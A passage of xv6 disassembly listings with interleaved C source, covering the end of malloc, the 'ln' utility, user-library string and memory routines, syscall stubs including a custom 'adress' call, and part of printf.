%ecx,%ebx 757: 76 57 jbe 7b0 <malloc+0xa0> p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 759: 3b 05 40 0b 00 00 cmp 0xb40,%eax 75f: 89 c2 mov %eax,%edx 761: 75 ed jne 750 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 763: 8b 45 e4 mov -0x1c(%ebp),%eax 766: 81 fb 00 10 00 00 cmp $0x1000,%ebx 76c: be 00 10 00 00 mov $0x1000,%esi 771: 0f 43 f3 cmovae %ebx,%esi 774: 0f 42 c7 cmovb %edi,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 777: 89 04 24 mov %eax,(%esp) 77a: e8 cd fc ff ff call 44c <sbrk> if(p == (char*)-1) 77f: 83 f8 ff cmp $0xffffffff,%eax 782: 74 1c je 7a0 <malloc+0x90> return 0; hp = (Header*)p; hp->s.size = nu; 784: 89 70 04 mov %esi,0x4(%eax) free((void*)(hp + 1)); 787: 83 c0 08 add $0x8,%eax 78a: 89 04 24 mov %eax,(%esp) 78d: e8 ee fe ff ff call 680 <free> return freep; 792: 8b 15 40 0b 00 00 mov 0xb40,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 798: 85 d2 test %edx,%edx 79a: 75 b4 jne 750 <malloc+0x40> 79c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return 0; } } 7a0: 83 c4 2c add $0x2c,%esp freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; 7a3: 31 c0 xor %eax,%eax } } 7a5: 5b pop %ebx 7a6: 5e pop %esi 7a7: 5f pop %edi 7a8: 5d pop %ebp 7a9: c3 ret 7aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) 7b0: 39 cb cmp %ecx,%ebx 7b2: 74 1c je 7d0 <malloc+0xc0> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 7b4: 29 d9 sub %ebx,%ecx 7b6: 89 48 04 mov %ecx,0x4(%eax) p += p->s.size; 7b9: 8d 04 c8 lea (%eax,%ecx,8),%eax p->s.size = nunits; 7bc: 89 58 04 mov %ebx,0x4(%eax) } freep = prevp; 7bf: 89 15 40 0b 00 00 mov %edx,0xb40 } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 7c5: 83 c4 2c add $0x2c,%esp p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void*)(p + 1); 7c8: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 7cb: 5b pop %ebx 7cc: 5e pop %esi 7cd: 5f pop %edi 7ce: 5d pop %ebp 7cf: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 7d0: 8b 08 mov (%eax),%ecx 7d2: 89 0a mov %ecx,(%edx) 7d4: eb e9 jmp 7bf <malloc+0xaf> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7d6: c7 05 40 0b 00 00 44 movl $0xb44,0xb40 7dd: 0b 00 00 base.s.size = 0; 7e0: b8 44 0b 00 00 mov $0xb44,%eax Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 7e5: c7 05 44 0b 00 00 44 movl $0xb44,0xb44 7ec: 0b 00 00 base.s.size = 0; 7ef: c7 05 48 0b 00 00 00 movl $0x0,0xb48 7f6: 00 00 00 7f9: e9 3e ff ff ff jmp 73c <malloc+0x2c>
_ln: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp if(argc != 3){ 7: 83 39 03 cmpl $0x3,(%ecx) #include "stat.h" #include "user.h" int main(int argc, char *argv[]) { a: ff 71 fc pushl -0x4(%ecx) d: 55 push %ebp e: 89 e5 mov %esp,%ebp 10: 53 push %ebx 11: 51 push %ecx 12: 8b 59 04 mov 0x4(%ecx),%ebx if(argc != 3){ 15: 74 14 je 2b <main+0x2b> printf(2, "Usage: ln old new\n"); 17: 83 ec 08 sub $0x8,%esp 1a: 68 10 07 00 00 push $0x710 1f: 6a 02 push $0x2 21: e8 ca 03 00 00 call 3f0 <printf> exit(); 26: e8 77 02 00 00 call 2a2 <exit> } if(link(argv[1], argv[2]) < 0) 2b: 50 push %eax 2c: 50 push %eax 2d: ff 73 08 pushl 0x8(%ebx) 30: ff 73 04 pushl 0x4(%ebx) 33: e8 ca 02 00 00 call 302 <link> 38: 83 c4 10 add $0x10,%esp 3b: 85 c0 test %eax,%eax 3d: 78 05 js 44 <main+0x44> printf(2, "link %s %s: failed\n", argv[1], argv[2]); exit(); 3f: e8 5e 02 00 00 call 2a2 <exit> if(argc != 3){ printf(2, "Usage: ln old new\n"); exit(); } if(link(argv[1], argv[2]) < 0) printf(2, "link %s %s: failed\n", argv[1], argv[2]); 44: ff 73 08 pushl 0x8(%ebx) 47: ff 73 04 pushl 0x4(%ebx) 4a: 68 23 07 00 00 push $0x723 4f: 6a 02 push $0x2 51: e8 9a 03 00 00 call 3f0 <printf> 56: 83 c4 10 add $0x10,%esp 59: eb e4 jmp 3f <main+0x3f> 5b: 66 90 xchg %ax,%ax 5d: 66 90 xchg %ax,%ax 5f: 90 nop 00000060 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 60: 55 push %ebp 61: 89 e5 mov %esp,%ebp 63: 53 push %ebx 64: 8b 45 08 mov 0x8(%ebp),%eax 67: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 6a: 89 c2 mov %eax,%edx 6c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 70: 83 c1 01 add $0x1,%ecx 73: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 77: 83 c2 01 add $0x1,%edx 7a: 84 db test %bl,%bl 7c: 88 5a ff mov %bl,-0x1(%edx) 7f: 75 ef jne 70 <strcpy+0x10> ; return os; } 81: 5b pop %ebx 82: 5d pop %ebp 83: c3 ret 84: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000090 <strcmp>: int strcmp(const char *p, const char *q) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 56 push %esi 94: 53 push %ebx 95: 8b 55 08 mov 0x8(%ebp),%edx 98: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 9b: 0f b6 02 movzbl (%edx),%eax 9e: 0f b6 19 movzbl (%ecx),%ebx a1: 84 c0 test %al,%al a3: 75 1e jne c3 <strcmp+0x33> a5: eb 29 jmp d0 <strcmp+0x40> a7: 89 f6 mov %esi,%esi a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; b0: 83 c2 01 add $0x1,%edx } int strcmp(const char *p, const char *q) { while(*p && *p == *q) b3: 0f b6 02 movzbl (%edx),%eax p++, q++; b6: 8d 71 01 lea 0x1(%ecx),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) b9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx bd: 84 c0 test %al,%al bf: 74 0f je d0 <strcmp+0x40> c1: 89 f1 mov %esi,%ecx c3: 38 d8 cmp %bl,%al c5: 74 e9 je b0 <strcmp+0x20> p++, q++; return (uchar)*p - (uchar)*q; c7: 29 d8 sub %ebx,%eax } c9: 5b pop %ebx ca: 5e pop %esi cb: 5d pop %ebp cc: c3 ret cd: 8d 76 00 lea 0x0(%esi),%esi } int strcmp(const char *p, const char *q) { while(*p && *p == *q) d0: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; d2: 29 d8 sub %ebx,%eax } d4: 5b pop %ebx d5: 5e pop %esi d6: 5d pop %ebp d7: c3 ret d8: 90 nop d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000000e0 <strlen>: uint strlen(char *s) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) e6: 80 39 00 cmpb $0x0,(%ecx) e9: 74 12 je fd <strlen+0x1d> eb: 31 d2 xor %edx,%edx ed: 8d 76 00 lea 0x0(%esi),%esi f0: 83 c2 01 add $0x1,%edx f3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) f7: 89 d0 mov %edx,%eax f9: 75 f5 jne f0 <strlen+0x10> ; return n; } fb: 5d pop %ebp fc: c3 ret uint strlen(char *s) { int n; for(n = 0; s[n]; n++) fd: 31 c0 xor %eax,%eax ; return n; } ff: 5d pop %ebp 100: c3 ret 101: eb 0d jmp 110 <memset> 103: 90 nop 104: 90 nop 105: 90 nop 106: 90 nop 107: 90 nop 108: 90 nop 109: 90 nop 10a: 90 nop 10b: 90 nop 10c: 90 nop 10d: 90 nop 10e: 90 nop 10f: 90 nop 00000110 <memset>: void* memset(void *dst, int c, uint n) { 110: 55 push %ebp 111: 89 e5 mov %esp,%ebp 113: 57 push %edi 114: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 117: 8b 4d 10 mov 0x10(%ebp),%ecx 11a: 8b 45 0c mov 0xc(%ebp),%eax 11d: 89 d7 mov %edx,%edi 11f: fc cld 120: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 122: 89 d0 mov %edx,%eax 124: 5f pop %edi 125: 5d pop %ebp 126: c3 ret 127: 89 f6 mov %esi,%esi 129: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000130 <strchr>: char* strchr(const char *s, char c) { 130: 55 push %ebp 131: 89 e5 mov %esp,%ebp 133: 53 push %ebx 134: 8b 45 08 mov 0x8(%ebp),%eax 137: 8b 5d 0c mov 0xc(%ebp),%ebx for(; *s; s++) 13a: 0f b6 10 movzbl (%eax),%edx 13d: 84 d2 test %dl,%dl 13f: 74 1d je 15e <strchr+0x2e> if(*s == c) 141: 38 d3 cmp %dl,%bl 143: 89 d9 mov %ebx,%ecx 145: 75 0d jne 154 <strchr+0x24> 147: eb 17 jmp 160 <strchr+0x30> 149: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 150: 38 ca cmp %cl,%dl 152: 74 0c je 160 <strchr+0x30> } char* strchr(const char *s, char c) { for(; *s; s++) 154: 83 c0 01 add $0x1,%eax 157: 0f b6 10 movzbl (%eax),%edx 15a: 84 d2 test %dl,%dl 15c: 75 f2 jne 150 <strchr+0x20> if(*s == c) return (char*)s; return 0; 15e: 31 c0 xor %eax,%eax } 160: 5b pop %ebx 161: 5d pop %ebp 162: c3 ret 163: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 169: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000170 <gets>: char* gets(char *buf, int max) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 57 push %edi 174: 56 push %esi 175: 53 push %ebx int i, cc; char c; for(i=0; i+1 < max; ){ 176: 31 f6 xor %esi,%esi cc = read(0, &c, 1); 178: 8d 7d e7 lea -0x19(%ebp),%edi return 0; } char* gets(char *buf, int max) { 17b: 83 ec 1c sub $0x1c,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 17e: eb 29 jmp 1a9 <gets+0x39> cc = read(0, &c, 1); 180: 83 ec 04 sub $0x4,%esp 183: 6a 01 push $0x1 185: 57 push %edi 186: 6a 00 push $0x0 188: e8 2d 01 00 00 call 2ba <read> if(cc < 1) 18d: 83 c4 10 add $0x10,%esp 190: 85 c0 test %eax,%eax 192: 7e 1d jle 1b1 <gets+0x41> break; buf[i++] = c; 194: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 198: 8b 55 08 mov 0x8(%ebp),%edx 19b: 89 de mov %ebx,%esi if(c == '\n' || c == '\r') 19d: 3c 0a cmp $0xa,%al for(i=0; i+1 < max; ){ cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; 19f: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 1a3: 74 1b je 1c0 <gets+0x50> 1a5: 3c 0d cmp $0xd,%al 1a7: 74 17 je 1c0 <gets+0x50> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1a9: 8d 5e 01 lea 0x1(%esi),%ebx 1ac: 3b 5d 0c cmp 0xc(%ebp),%ebx 1af: 7c cf jl 180 <gets+0x10> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1b1: 8b 45 08 mov 0x8(%ebp),%eax 1b4: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1b8: 8d 65 f4 lea -0xc(%ebp),%esp 1bb: 5b pop %ebx 1bc: 5e pop %esi 1bd: 5f pop %edi 1be: 5d pop %ebp 1bf: c3 ret break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c0: 8b 45 08 mov 0x8(%ebp),%eax gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 1c3: 89 de mov %ebx,%esi break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 1c5: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 1c9: 8d 65 f4 lea -0xc(%ebp),%esp 1cc: 5b pop %ebx 1cd: 5e pop %esi 1ce: 5f pop %edi 1cf: 5d pop %ebp 1d0: c3 ret 1d1: eb 0d jmp 1e0 <stat> 1d3: 90 nop 1d4: 90 nop 1d5: 90 nop 1d6: 90 nop 1d7: 90 nop 1d8: 90 nop 1d9: 90 nop 1da: 90 nop 1db: 90 nop 1dc: 90 nop 1dd: 90 nop 1de: 90 nop 1df: 90 nop 000001e0 <stat>: int stat(char *n, struct stat *st) { 1e0: 55 push %ebp 1e1: 89 e5 mov %esp,%ebp 1e3: 56 push %esi 1e4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1e5: 83 ec 08 sub $0x8,%esp 1e8: 6a 00 push $0x0 1ea: ff 75 08 pushl 0x8(%ebp) 1ed: e8 f0 00 00 00 call 2e2 <open> if(fd < 0) 1f2: 83 c4 10 add $0x10,%esp 1f5: 85 c0 test %eax,%eax 1f7: 78 27 js 220 <stat+0x40> return -1; r = fstat(fd, st); 1f9: 83 ec 08 sub $0x8,%esp 1fc: ff 75 0c pushl 0xc(%ebp) 1ff: 89 c3 mov %eax,%ebx 201: 50 push %eax 202: e8 f3 00 00 00 call 2fa <fstat> 207: 89 c6 mov %eax,%esi close(fd); 209: 89 1c 24 mov %ebx,(%esp) 20c: e8 b9 00 00 00 call 2ca <close> return r; 211: 83 c4 10 add $0x10,%esp 214: 89 f0 mov %esi,%eax } 216: 8d 65 f8 lea -0x8(%ebp),%esp 219: 5b pop %ebx 21a: 5e pop %esi 21b: 5d pop %ebp 21c: c3 ret 21d: 8d 76 00 lea 0x0(%esi),%esi int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; 220: b8 ff ff ff ff mov $0xffffffff,%eax 225: eb ef jmp 216 <stat+0x36> 227: 89 f6 mov %esi,%esi 229: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000230 <atoi>: return r; } int atoi(const char *s) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 53 push %ebx 234: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 237: 0f be 11 movsbl (%ecx),%edx 23a: 8d 42 d0 lea -0x30(%edx),%eax 23d: 3c 09 cmp $0x9,%al 23f: b8 00 00 00 00 mov $0x0,%eax 244: 77 1f ja 265 <atoi+0x35> 246: 8d 76 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi n = n*10 + *s++ - '0'; 250: 8d 04 80 lea (%eax,%eax,4),%eax 253: 83 c1 01 add $0x1,%ecx 256: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 25a: 0f be 11 movsbl (%ecx),%edx 25d: 8d 5a d0 lea -0x30(%edx),%ebx 260: 80 fb 09 cmp $0x9,%bl 263: 76 eb jbe 250 <atoi+0x20> n = n*10 + *s++ - '0'; return n; } 265: 5b pop %ebx 266: 5d pop %ebp 267: c3 ret 268: 90 nop 269: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000270 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 270: 55 push %ebp 271: 89 e5 mov %esp,%ebp 273: 56 push %esi 274: 53 push %ebx 275: 8b 5d 10 mov 0x10(%ebp),%ebx 278: 8b 45 08 mov 0x8(%ebp),%eax 27b: 8b 75 0c mov 0xc(%ebp),%esi char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 27e: 85 db test %ebx,%ebx 280: 7e 14 jle 296 <memmove+0x26> 282: 31 d2 xor %edx,%edx 284: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 288: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 28c: 88 0c 10 mov %cl,(%eax,%edx,1) 28f: 83 c2 01 add $0x1,%edx { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 292: 39 da cmp %ebx,%edx 294: 75 f2 jne 288 <memmove+0x18> *dst++ = *src++; return vdst; } 296: 5b pop %ebx 297: 5e pop %esi 298: 5d pop %ebp 299: c3 ret 0000029a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 29a: b8 01 00 00 00 mov $0x1,%eax 29f: cd 40 int $0x40 2a1: c3 ret 000002a2 <exit>: SYSCALL(exit) 2a2: b8 02 00 00 00 mov $0x2,%eax 2a7: cd 40 int $0x40 2a9: c3 ret 000002aa <wait>: SYSCALL(wait) 2aa: b8 03 00 00 00 mov $0x3,%eax 2af: cd 40 int $0x40 2b1: c3 ret 000002b2 <pipe>: SYSCALL(pipe) 2b2: b8 04 00 00 00 mov $0x4,%eax 2b7: cd 40 int $0x40 2b9: c3 ret 000002ba <read>: SYSCALL(read) 2ba: b8 05 00 00 00 mov $0x5,%eax 2bf: cd 40 int $0x40 2c1: c3 ret 000002c2 <write>: SYSCALL(write) 2c2: b8 10 00 00 00 mov $0x10,%eax 2c7: cd 40 int $0x40 2c9: c3 ret 000002ca <close>: SYSCALL(close) 2ca: b8 15 00 00 00 mov $0x15,%eax 2cf: cd 40 int $0x40 2d1: c3 ret 000002d2 <kill>: SYSCALL(kill) 2d2: b8 06 00 00 00 mov $0x6,%eax 2d7: cd 40 int $0x40 2d9: c3 ret 000002da <exec>: SYSCALL(exec) 2da: b8 07 00 00 00 mov $0x7,%eax 2df: cd 40 int $0x40 2e1: c3 ret 000002e2 <open>: SYSCALL(open) 2e2: b8 0f 00 00 00 mov $0xf,%eax 2e7: cd 40 int $0x40 2e9: c3 ret 000002ea <mknod>: SYSCALL(mknod) 2ea: b8 11 00 00 00 mov $0x11,%eax 2ef: cd 40 int $0x40 2f1: c3 ret 000002f2 <unlink>: SYSCALL(unlink) 2f2: b8 12 00 00 00 mov $0x12,%eax 2f7: cd 40 int $0x40 2f9: c3 ret 000002fa <fstat>: SYSCALL(fstat) 2fa: b8 08 00 00 00 mov $0x8,%eax 2ff: cd 40 int $0x40 301: c3 ret 00000302 <link>: SYSCALL(link) 302: b8 13 00 00 00 mov $0x13,%eax 307: cd 40 int $0x40 309: c3 ret 0000030a <mkdir>: SYSCALL(mkdir) 30a: b8 14 00 00 00 mov $0x14,%eax 30f: cd 40 int $0x40 311: c3 ret 00000312 <chdir>: SYSCALL(chdir) 312: b8 09 00 00 00 mov $0x9,%eax 317: cd 40 int $0x40 319: c3 ret 0000031a <dup>: SYSCALL(dup) 31a: b8 0a 00 00 00 mov $0xa,%eax 31f: cd 40 int $0x40 321: c3 ret 00000322 <getpid>: SYSCALL(getpid) 322: b8 0b 00 00 00 mov $0xb,%eax 327: cd 40 int $0x40 329: c3 ret 0000032a <sbrk>: SYSCALL(sbrk) 32a: b8 0c 00 00 00 mov $0xc,%eax 32f: cd 40 int $0x40 331: c3 ret 00000332 <sleep>: SYSCALL(sleep) 332: b8 0d 00 00 00 mov $0xd,%eax 337: cd 40 int $0x40 339: c3 ret 0000033a <uptime>: SYSCALL(uptime) 33a: b8 0e 00 00 00 mov $0xe,%eax 33f: cd 40 int $0x40 341: c3 ret 00000342 <adress>: SYSCALL(adress) 342: b8 16 00 00 00 mov $0x16,%eax 347: cd 40 int $0x40 349: c3 ret 34a: 66 90 xchg %ax,%ax 34c: 66 90 xchg %ax,%ax 34e: 66 90 xchg %ax,%ax 00000350 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 350: 55 push %ebp 351: 89 e5 mov %esp,%ebp 353: 57 push %edi 354: 56 push %esi 355: 53 push %ebx 356: 89 c6 mov %eax,%esi 358: 83 ec 3c sub $0x3c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 35b: 8b 5d 08 mov 0x8(%ebp),%ebx 35e: 85 db test %ebx,%ebx 360: 74 7e je 3e0 <printint+0x90> 362: 89 d0 mov %edx,%eax 364: c1 e8 1f shr $0x1f,%eax 367: 84 c0 test %al,%al 369: 74 75 je 3e0 <printint+0x90> neg = 1; x = -xx; 36b: 89 d0 mov %edx,%eax int i, neg; uint x; neg = 0; if(sgn && xx < 0){ neg = 1; 36d: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) x = -xx; 374: f7 d8 neg %eax 376: 89 75 c0 mov %esi,-0x40(%ebp) } else { x = xx; } i = 0; 379: 31 ff xor %edi,%edi 37b: 8d 5d d7 lea -0x29(%ebp),%ebx 37e: 89 ce mov %ecx,%esi 380: eb 08 jmp 38a <printint+0x3a> 382: 8d b6 00 00 00 00 lea 0x0(%esi),%esi do{ buf[i++] = digits[x % base]; 388: 89 cf mov %ecx,%edi 38a: 31 d2 xor %edx,%edx 38c: 8d 4f 01 lea 0x1(%edi),%ecx 38f: f7 f6 div %esi 391: 0f b6 92 40 07 00 00 movzbl 0x740(%edx),%edx }while((x /= base) != 0); 398: 85 c0 test %eax,%eax x = xx; } i = 0; do{ buf[i++] = digits[x % base]; 39a: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 39d: 75 e9 jne 388 <printint+0x38> if(neg) 39f: 8b 45 c4 mov -0x3c(%ebp),%eax 3a2: 8b 75 c0 mov -0x40(%ebp),%esi 3a5: 85 c0 test %eax,%eax 3a7: 74 08 je 3b1 <printint+0x61> buf[i++] = '-'; 3a9: c6 44 0d d8 2d movb $0x2d,-0x28(%ebp,%ecx,1) 3ae: 8d 4f 02 lea 0x2(%edi),%ecx 3b1: 8d 7c 0d d7 lea -0x29(%ebp,%ecx,1),%edi 3b5: 8d 76 00 lea 0x0(%esi),%esi 3b8: 0f b6 07 movzbl (%edi),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 3bb: 83 ec 04 sub $0x4,%esp 3be: 83 ef 01 sub $0x1,%edi 3c1: 6a 01 push $0x1 3c3: 53 push %ebx 3c4: 56 push %esi 3c5: 88 45 d7 mov %al,-0x29(%ebp) 3c8: e8 f5 fe ff ff call 2c2 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 3cd: 83 c4 10 add $0x10,%esp 3d0: 39 df cmp %ebx,%edi 3d2: 75 e4 jne 3b8 <printint+0x68> putc(fd, buf[i]); } 3d4: 8d 65 f4 lea -0xc(%ebp),%esp 3d7: 5b pop %ebx 3d8: 5e pop %esi 3d9: 5f pop %edi 3da: 5d pop %ebp 3db: c3 ret 3dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; } else { x = xx; 3e0: 89 d0 mov %edx,%eax static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3e2: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 3e9: eb 8b jmp 376 <printint+0x26> 3eb: 90 nop 3ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000003f0 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 56 push %esi 3f5: 53 push %ebx int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3f6: 8d 45 10 lea 0x10(%ebp),%eax } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 3f9: 83 ec 2c sub $0x2c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 3fc: 8b 75 0c mov 0xc(%ebp),%esi } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 3ff: 8b 7d 08 mov 0x8(%ebp),%edi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 402: 89 45 d0 mov %eax,-0x30(%ebp) 405: 0f b6 1e movzbl (%esi),%ebx 408: 83 c6 01 add $0x1,%esi 40b: 84 db test %bl,%bl 40d: 0f 84 b0 00 00 00 je 4c3 <printf+0xd3> 413: 31 d2 xor %edx,%edx 415: eb 39 jmp 450 <printf+0x60> 417: 89 f6 mov %esi,%esi 419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 420: 83 f8 25 cmp $0x25,%eax 423: 89 55 d4 mov %edx,-0x2c(%ebp) state = '%'; 426: ba 25 00 00 00 mov $0x25,%edx state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 42b: 74 18 je 445 <printf+0x55> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 42d: 8d 45 e2 lea -0x1e(%ebp),%eax 430: 83 ec 04 sub $0x4,%esp 433: 88 5d e2 mov %bl,-0x1e(%ebp) 436: 6a 01 push $0x1 438: 50 push %eax 439: 57 push %edi 43a: e8 83 fe ff ff call 2c2 <write> 43f: 8b 55 d4 mov -0x2c(%ebp),%edx 442: 83 c4 10 add $0x10,%esp 445: 83 c6 01 add $0x1,%esi int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 448: 0f b6 5e ff movzbl -0x1(%esi),%ebx 44c: 84 db test %bl,%bl 44e: 74 73 je 4c3 <printf+0xd3> c = fmt[i] & 0xff; if(state == 0){ 450: 85 d2 test %edx,%edx uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 452: 0f be cb movsbl %bl,%ecx 455: 0f b6 c3 movzbl %bl,%eax if(state == 0){ 458: 74 c6 je 420 <printf+0x30> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 45a: 83 fa 25 cmp $0x25,%edx 45d: 75 e6 jne 445 <printf+0x55> if(c == 'd'){ 45f: 83 f8 64 cmp $0x64,%eax 462: 0f 84 f8 00 00 00 je 560 <printf+0x170> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 468: 81 e1 f7 00 00 00 and $0xf7,%ecx 46e: 83 f9 70 cmp $0x70,%ecx 471: 74 5d je 4d0 <printf+0xe0> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 473: 83 f8 73 cmp $0x73,%eax 476: 0f 84 84 00 00 00 je 500 <printf+0x110> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 47c: 83 f8 63 cmp $0x63,%eax 47f: 0f 84 ea 00 00 00 je 56f <printf+0x17f> putc(fd, *ap); ap++; } else if(c == '%'){ 485: 83 f8 25 cmp $0x25,%eax 488: 0f 84 c2 00 00 00 je 550 <printf+0x160> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 48e: 8d 45 e7 lea -0x19(%ebp),%eax 491: 83 ec 04 sub $0x4,%esp 494: c6 45 e7 25 movb $0x25,-0x19(%ebp) 498: 6a 01 push $0x1 49a: 50 push %eax 49b: 57 push %edi 49c: e8 21 fe ff ff call 2c2 <write> 4a1: 83 c4 0c add $0xc,%esp 4a4: 8d 45 e6 lea -0x1a(%ebp),%eax 4a7: 88 5d e6 mov %bl,-0x1a(%ebp) 4aa: 6a 01 push $0x1 4ac: 50 push %eax 4ad: 57 push %edi 4ae: 83 c6 01 add $0x1,%esi 4b1: e8 0c fe ff ff call 2c2 <write> int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4b6: 0f b6 5e ff movzbl -0x1(%esi),%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4ba: 83 c4 10 add $0x10,%esp } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 